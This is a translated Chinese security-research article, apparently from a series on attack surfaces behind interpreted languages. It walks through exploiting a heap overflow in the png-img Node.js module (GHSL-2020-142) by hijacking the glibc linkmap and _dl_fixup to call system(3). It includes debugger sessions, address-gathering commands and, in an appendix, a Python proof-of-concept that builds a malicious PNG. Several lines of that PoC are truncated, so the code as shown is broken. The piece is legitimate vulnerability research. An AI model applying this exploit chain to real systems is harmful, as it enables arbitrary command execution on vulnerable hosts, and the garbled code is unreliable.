面对上面所说的挑战,一个重要的线索是,l_info[DT_JMPREL]是通过对指向.dynamic段的指针以解除引用的方式获得的。前面说过,解析器并不直接引用它需要访问的各个段,而是获取指向所需节的.dynamic条目的指针,然后查询其d_ptr字段以获得指向相关段的实际指针。

更直白地说,解析器将使用我们的受控指针来获取l_info[DT_JMPREL],并在该指针的偏移量8处,获取另一个指针值,这个指针值应该就是实际的段地址。

这对我们有什么帮助呢?

好吧,我们说过:我们可以把data_分块放到堆上的任意位置,但我们无法可靠地把它挤在linkmap和png_ptr分块之间。但是,如果我们把它放在linkmap分块前面的某个地方会怎样呢?这将导致覆盖大量的堆空间,从而控制这些堆空间中的内容。

在利用漏洞的时候,我们与堆的交互是非常有限的,因为没有很多的分配或释放操作发生。实际上,我们只是在一个循环中,简单地将我们控制的数据行写入堆中,直到用完行数据,这时,png_error的解析逻辑就启动了。

所以,至少在我们的PoC场景中,我们可以有效地覆盖相当一部分堆内存,直到达到我们需要控制的数量为止,这不会带来太多的稳定性问题。

我们还知道,我们处理的是一个非PIE二进制文件。所以,我们知道它的.data段的具体地址。在node的.data段中,会含有大量的结构体,这些结构体在运行时可能含有指向堆内存的指针。如果我们覆盖了堆中足够多的内存空间,其中一些指针就可能指向我们控制的数据,准确来说,这些指针将位于.data段的静态位置。

那么,如果我们重新调整其中一个.data位置的用途,将其用于我们的l_info[DT_JMPREL]的.dynamic条目指针,结果会如何呢?我们也许可以用它来为 _dl_fixup 提供一个完全受控的重定位记录。由于在我们的目标平台上,重定位记录的大小是24(3x8字节),而png_error reloc_arg的大小是285,只要我们可以将正确对齐的重定位记录放置在距获取堆指针的node .data的285x24偏移处,我们就应该能够破坏解析器的逻辑。

随后,我们可以使用类似的方法找到一个静态位置,在+8处包含一个指向node二进制代码GOT的指针,并将其用作l_info [DT_SYMTAB] .dynamic条目指针。在与制作好的重定位记录一致的情况下,我们可以索引到节点GOT中,从而获得一个现有的libc指针值,并使用我们制作好的linkmap的l_addr字段作为到一个所需的libc函数的增量,在我们的例子中,这个函数就是system(3)。


综合起来

现在已经有了一个初步的漏洞利用策略,我们就必须收集所有的要素,来将攻击计划付诸实施。

从漏洞利用的可靠性的角度来看,我们当前策略的缺点是它高度依赖二进制代码,并且对堆布局高度敏感。因此,我们认为这充其量只能算是一个PoC。因为它高度依赖于越来越少见的非PIE node的二进制代码,以及从data_ chunks到linkmap和png_ptr chunks的可预测堆偏移。

话虽如此,我们拿它在启用了各种防御功能的系统上来练练手,还是非常不错的。

为了把我们的策略付诸实施,我们需要:
能把溢出分块放到linkmap分块的前面data_分块的合适大小。
data_ 分块和linkmap分块之间的偏移量。
从node二进制代码GOT到偏移量的合适的libc指针。
一个已知的node指针,指向一个指向node GOT基址的指针。
一个已知的node指针,指向一个指向受控堆内存的指针。
从源libc指针到目标libc函数指针的偏移量。
一个用于接收最终的_dl_fixup重定位写入的安全的内存区域。

首先,让我们找到一个合适的空闲块,以便在调用PngImg::PngImg构造函数时,可以将data_分块保存到这个空闲块中。我们可以使用gef的heap bins命令来显示哪些bins有可用的空闲分块,以及它们在内存中的位置。

我们要寻找的是一个与linkmap分块的位置离得较远的分块,这样我们就有很好的机会通过node的.data的堆指针从堆中提供可控的重定位记录。但是,我们也不想因为担心不稳定而破坏整个堆的内容。

我们可以在unsorted的bin中找到一个看似合适的大小为0x2010的空闲块:

Unsorted Bin for arena 'main_arena' [+] unsorted_bins[0]: fw=0x271f0b0, bk=0x272c610
 →   Chunk(addr=0x271f0c0, size=0x2010, flags=PREV_INUSE)   →   Chunk(addr=0x2722ef0, size=0x1b30, flags=PREV_INUSE)   →   Chunk(addr=0x2717400, size=0x430, flags=PREV_INUSE)   →   Chunk(addr=0x272c620, size=0x4450, flags=PREV_INUSE)
[+] Found 4 chunks in unsorted bin.

通过将data_size设置为0x2010,我们可以将这个空闲块塞进这个位于偏移量0x3950处的分块中,这个分块最终将成为我们的linkmap分块。当然,这个假设在任何现实情形下都是非常不稳定的,但在我们的练习中,不妨假设它是成立的。

同时让rowbytes(宽度)取值为16,以便为堆溢出提供一个已经对齐的、细粒度的写入原语。

我们注意到,由于符号表项长24个字节,而St_value字段在Symbol结构体中的偏移量为8,所以从node二进制GOT中选择的libc指针(用作St_value),必须位于距24字节对齐索引的偏移量8处。例如,一个指定Symtab索引为1的重定位记录,将意味着在node GOT的偏移量32处取值,并将其作为Symbol的st_value。

我们还注意到,伪造的符号条目的st_other字段决定了我们是否在_dl_fixup中根据符号的可见性来进入更复杂的符号查找路径。因为我们喜欢尽可能地保持简单,所以,对于在我们的st_value字段之前的GOT条目,应该设法不让它通过_dl_fixup中的if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)的检查。这实际上只是意味着伪造的符号表条目中st_other字段(字节6)的低2位不应该是0。当然,这需要一定的运气,但大多数GOT段中都存在符合这一要求的指针。另外,可见性检查是使用以下宏完成的:

elf.h:
/* How to extract and insert information held in the st_other field.  */
#define ELF32_ST_VISIBILITY(o)  ((o) & 0x03)

/* For ELF64 the definitions are the same.  */
#define ELF64_ST_VISIBILITY(o)  ELF32_ST_VISIBILITY (o)

/* Symbol visibility specification encoded in the st_other field.  */
#define STV_DEFAULT     0               /* Default symbol visibility rules */
#define STV_INTERNAL    1               /* Processor specific hidden class */
#define STV_HIDDEN      2               /* Sym unavailable in other modules */
#define STV_PROTECTED   3               /* Not preemptible, not exported */

在我们的测试平台上,getockopt的node二进制GOT条目很符合我们的要求:它的前面有一个指针值,这个指针值会通过ST_VISIBILITY检查,这样我们就不必在linkmap中使用更复杂的解析器逻辑。所以,我们将使用getockopt来偏移到所需的系统libc目标。这两个libc偏移量之间的差值将是我们在linkmaps l_addr字段中设置的delta值。

接下来,让我们首先从node二进制代码中收集我们需要的所有地址信息。

# grab the libc offsets of getsockopt and system using readelf -s,
anticomputer@dc1:~$ readelf -s /lib/x86_64-linux-gnu/libc-2.27.so
...
  1403: 000000000004f550    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5
     959: 0000000000122830    36 FUNC    WEAK   DEFAULT   13 getsockopt@@GLIBC_2.2.5

# determine the node binary GOT entry for getsockopt with readelf -r
anticomputer@dc1:~$ readelf -r /usr/bin/node | grep getsockopt
00000264d8f8  011800000007 R_X86_64_JUMP_SLO 0000000000000000 getsockopt@GLIBC_2.2.5 + 0
 
# grab the node GOT section start address with readelf -t
anticomputer@dc1:~$ readelf -t /usr/bin/node
There are 40 section headers, starting at offset 0x274f120:
 
Section Headers:
  [Nr] Name
       Type              Address          Offset            Link
       Size              EntSize          Info              Align
       Flags

  [26] .got
       PROGBITS               PROGBITS         000000000264d038  000000000204d038  0
       0000000000000fc8 0000000000000008  0                 8
       [0000000000000003]: WRITE, ALLOC

接下来,我们必须在node的.data段中寻找这样一个堆指针,它指向位于我们控制的偏移量285x24处的数据。通过一个小型的GDB脚本,我们就可以很快找到符合要求的候选者。我们的脚本将搜索node的.data段,以寻找位于我们控制的数据区域内或其附近的堆指针。

注意:在启用ASLR后,这些堆地址将在每次运行时发生变化,所以这个脚本示例只与我们的调试会话快照相关。然而,当实际运行漏洞利用代码时,考虑到面对的是非PIE型的node二进制代码,所以,我们可以预期得到一个一致的.data指针位置,并期望该位置将包含用于实际运行上下文的可用堆指针。

gef?  set $c=(unsigned long long *)0x264c000
gef?
gef?  set $done=1
gef?  while ($done)
 >if ((*$c&0xffffffffffff0000)==0x02720000)
  >set $done=0
  >end
 >set $c=$c+1
 >end
gef?  p/x $c
$551 = 0x26598c8
gef?  x/3gx (*($c-1))+285*24
0x2726508:      0x00007fff00000013      0x0000000000000000
0x2726518:      0x0000000000000021
gef?  set $done=1
gef?  while ($done)
 >if ((*$c&0xffffffffffff0000)==0x02720000)
  >set $done=0
  >end
 >set $c=$c+1
 >end
gef?  p/x $c
$552 = 0x265b9e8
gef?  x/3gx (*($c-1))+285*24
0x2722f10:      0x4141414141414141      0x4141414141414141
0x2722f20:      0x4141414141414141
gef?  x/x 0x265b9e0
0x265b9e0
gef?

所以我们找到了一个潜在可用的.data位置(0x265b9e0),该位置将包含一个位于偏移量285x24处的堆指针,该指针将指向受控数据。

最后,我们必须在node二进制代码中找到这样一个位置:它在+8处包含一个指向node的.got段的指针。这并非难事,因为node二进制代码肯定会引用各个二进制段。

objdump -h:
 25 .got          00000fc8  000000000264d038  000000000264d038  0204d038  2**3

(gdb) set $p=(unsigned long long *)0x400000 # search from node .text base upwards
(gdb) while (*$p!=0x000000000264d038)
 >set $p=$p+1
 >end
(gdb) x/x $p
0x244cf20:      0x000000000264d038
(gdb)

现在,我们已经收集好了所有的素材,这样就可以编写PoC代码了。总结一下,我们将构建一个伪造的linkmap,它符合以下约束条件:
l_addr字段将是libc的getockopt偏移量和libc的系统偏移量之间的增量。
l_info[DT_STRTAB]条目将是一些有效的指针值,因为我们的目的是跳过基于字符串的符号查找,它只需要能够安全地解除引用即可。
l_info[DT_SYMTAB]条目将是一个指向某个位置的指针,该位置在+8处有一个指向node的.got段起始地址的指针。
l_info[DT_JMPREL]条目将是指向某个位置的指针,该位置在+8处包含一个堆指针,该指针基于png_error解析的reloc_arg值指向偏移量285 x 24处的受控伪造重定位记录。

伪造的重定位记录将为伪造的符号表(node的二进制代码的.got段)提供一个索引,这样符号的st_value字段就是之前解析的指向getockopt的libc指针。它还将提供一个重定位偏移量(它是相对于safe-to-write内存区域的),这样我们的成果就可以在_dl_fixup中的最后一次重定位写入操作后幸存下来。

解析器将把我们在linkmap的l_addr字段中设置的libc增量与伪造的符号的st_value字段相加,其中st_value字段存放的是解析的getsockopt libc函数指针值。相加之后,得到的就是system(3)函数的libc地址。

由于我们还破坏了png_error的png_ptr参数,因此,当我们最终从为png_error劫持的_dl_resolve跳转到system(3)时,我们能够提供并执行任意命令。对于我们的PoC来说,我们将执行“touch /tmp/itworked”命令。

用我们的PoC脚本准备好触发漏洞的PNG文件后,就可以将其移动到我们的调试环境中了:
? ~ ? python3 x_trigger.py
? ~ ? file trigger.png
trigger.png: PNG image data, 16 x 268435968, 8-bit grayscale, non-interlaced
? ~ ?  scp trigger.png anticomputer@builder:~/
trigger.png 100% 1024     1.7MB/s   00:00
? ~ ?

我们先在调试器里面运行易受攻击的node程序,并将断点设置在system(3)上:
gef?  r ~/pngimg.js
...
[#0] 0x7ffff6ac6fc0 → do_system(line=0x2722ef0 "touch /tmp/itworked #", 'P'
[#1] 0x7ffff4030e63 → png_read_row()
[#2] 0x7ffff4032899 → png_read_image()
[#3] 0x7ffff40226d8 → PngImg::PngImg(char const*, unsigned long)()
[#4] 0x7ffff401c8fa → PngImgAdapter::New(Nan::FunctionCallbackInfo
[#5] 0x7ffff401c56f → _ZN3Nan3impL23FunctionCallbackWrapperERKN2v820FunctionCallbackInfoINS1_5ValueEEE()
[#6] 0xb9041b → v8::internal::MaybeHandle
[#7] 0xb9277d → v8::internal::Builtins::InvokeApiFunction(v8::internal::Isolate*, bool, v8::internal::Handle
[#8] 0xea2cc1 → v8::internal::Execution::New(v8::internal::Isolate*, v8::internal::Handle
[#9] 0xb28ed6 → v8::Function::NewInstanceWithSideEffectType(v8::Local
 
Thread 1 "node" hit Breakpoint 1, do_system (line=0x2722ef0 "touch /tmp/itworked #", 'P'
56      {
gef?  p "success!"
$1 = "success!"
gef?

太棒了!看起来代码在调试阶段一切正常。现在,让我们在没有附加调试器的情况下运行一下。

anticomputer@dc1:~/glibc/glibc-2.27/elf$ rm /tmp/itworked
anticomputer@dc1:~/glibc/glibc-2.27/elf$ /usr/bin/node ~/pngimg.js
Segmentation fault (core dumped)
anticomputer@dc1:~/glibc/glibc-2.27/elf$ ls -alrt /tmp/itworked
-rw-rw-r-- 1 anticomputer anticomputer 0 Nov 23 20:53 /tmp/itworked
anticomputer@dc1:~/glibc/glibc-2.27/elf$

尽管node进程确实因为堆损坏而发生了崩溃,但这一切都发生在实现任意命令执行之后。

无论如何,我们的任务已经完成了。

我们的PoC开发任务现在已经大功告成:我们已经为利用png-img FFI漏洞成功打通了所有环节。虽然从攻击者的角度来看,可靠性仍然是现实利用过程中的一个令人担忧的问题,但这足以让我们证明该漏洞的潜在影响。

读者可以在附录A中找到完整的exploit代码。

小结

在本系列文章中,我们以Node.js FFI漏洞的利用过程为例,为读者深入介绍了隐藏在解释型语言底层攻击面。当然最终目标是为大家演示内存安全漏洞是如何通过基于FFI的攻击面潜入解释型语言应用程序的。同时为读者介绍了exploit的开发之旅,并演示了攻击者是如何评估代码中的bug的潜在利用价值的。

附录A: png-img PoC exploit

# PoC exploit for GHSL-2020-142, linkmap hijack demo

"""
anticomputer@dc1:~/glibc/glibc-2.27/elf$ uname -a
Linux dc1 4.15.0-122-generic #124-Ubuntu SMP Thu Oct 15 13:03:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

anticomputer@dc1:~/glibc/glibc-2.27/elf$ node -v
v10.22.0

anticomputer@dc1:~/glibc/glibc-2.27/elf$ npm list png-img
/home/anticomputer
└── png-img@2.3.0

anticomputer@dc1:~/glibc/glibc-2.27/elf$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04.4 LTS"
"""

from PIL import Image
import os
import struct
import sys
import zlib

def patch(path, offset, data):
    f = open(path, 'r+b')
    f.seek(offset)
    f.write(data)
    f.close()

# libc binary info
libc_system_off = 0x000000000004f550
libc_getsockopt_off = 0x0000000000122830
libc_delta = (libc_system_off - libc_getsockopt_off) & 0xffffffffffffffff

# node binary info
node_getsockopt_got = 0x00000264d8f8
node_got_section_start = 0x000000000264d038
node_safe_ptr = 0x000000000264e000 + 0x1000

# calculate what our reloc index should be to align getsockopt as sym->st_value
node_reloc_index_wanted = int((node_getsockopt_got-node_got_section_start)/8) - 1
if node_reloc_index_wanted % 3:
    print("[x] node .got entry not aligned to reloc record size ...")
    sys.exit(0)
node_reloc_index = int(node_reloc_index_wanted/3)

# our l_info['DT_SYMTAB'] entry is pointer that at +8 has a pointer to node's got section
dt_symtab_p = 0x244cf20-8

# our l_info['DT_JMPREL'] entry is a pointer that at +8 has a heap pointer to our fake reloc records
dt_jmprel_p = 0x265b9e0-8

# our l_info['DT_STRTAB'] entry is just some valid pointer since we skip string lookups
dt_symtab_pdt_symtab_p = dt_symtab_p

# build our heap overwrite
trigger = 'trigger.png'
heap_rewrite = b''
# pixel bits is 8, set rowbytes to 16 via width
width = 0x10
heap_data_to_linkmap_off = 0x3950-0x10 # offset from data_ chunk to linkmap chunk
heap_data_chunk_size = 0x2010 # needs to be aligned on width
heap_linkmap_chunk_size = 0x4e0

# spray fake reloc records up until linkmap chunk data
fake_reloc_record = b''
fake_reloc_record += struct.pack('<Q', (node_safe_ptr - libc_delta) & 0xffffffffffffffff) # r_offset
fake_reloc_record += struct.pack('<Q', (node_reloc_index<<32) | 7) # r_info, type: ELF_MACHINE_JMP_SLOT
fake_reloc_record += struct.pack('<Q', 0xdeadc0dedeadc0de) # r_addend
reloc_record_spray = b''
reloc_align = b''
reloc_record_spray += reloc_align
reloc_record_spray += fake_reloc_record * int((heap_data_to_linkmap_off-len(reloc_align))/24)
reloc_record_spray += b'P' * (heap_data_to_linkmap_off-len(reloc_record_spray))

heap_rewrite += reloc_record_spray

# linkmap chunk overwrite
fake_linkmap = b''
# linkmap chunk header
fake_linkmap += struct.pack('<Q', 0x4141414141414141)
fake_linkmap += struct.pack('<Q', 0x4141414141414141) # keep PREV_INUSE
# start of linkmap data
fake_linkmap += struct.pack('
fake_linkmap += struct.pack('<Q', 0xdeadc1dedeadc0de) * 12 # pad
fake_linkmap += struct.pack('
fake_linkmap += struct.pack('
fake_linkmap += struct.pack('<Q', 0xdeadc2dedeadc0de) * 16 # pad
fake_linkmap += struct.pack('
# pad up until png_ptr chunk
fake_linkmap += b'P' * (heap_linkmap_chunk_size-len(fake_linkmap))

heap_rewrite += fake_linkmap

# png_ptr chunk overwrite, this is where we pack our argument to system(3)
cmd = b'touch /tmp/itworked #'
png_ptr = b''
# png_ptr chunk header
png_ptr += struct.pack('L', crc))

# for playing with the early file allocation itself
f = open(trigger, 'ab')
f_size = os.path.getsize(trigger)
f_size_wanted = 1024
f.write(b'P'* (f_size_wanted - f_size))
f.close()

本文转译自51CTO《深入考察解释型语言背后隐藏的攻击面》系列文章。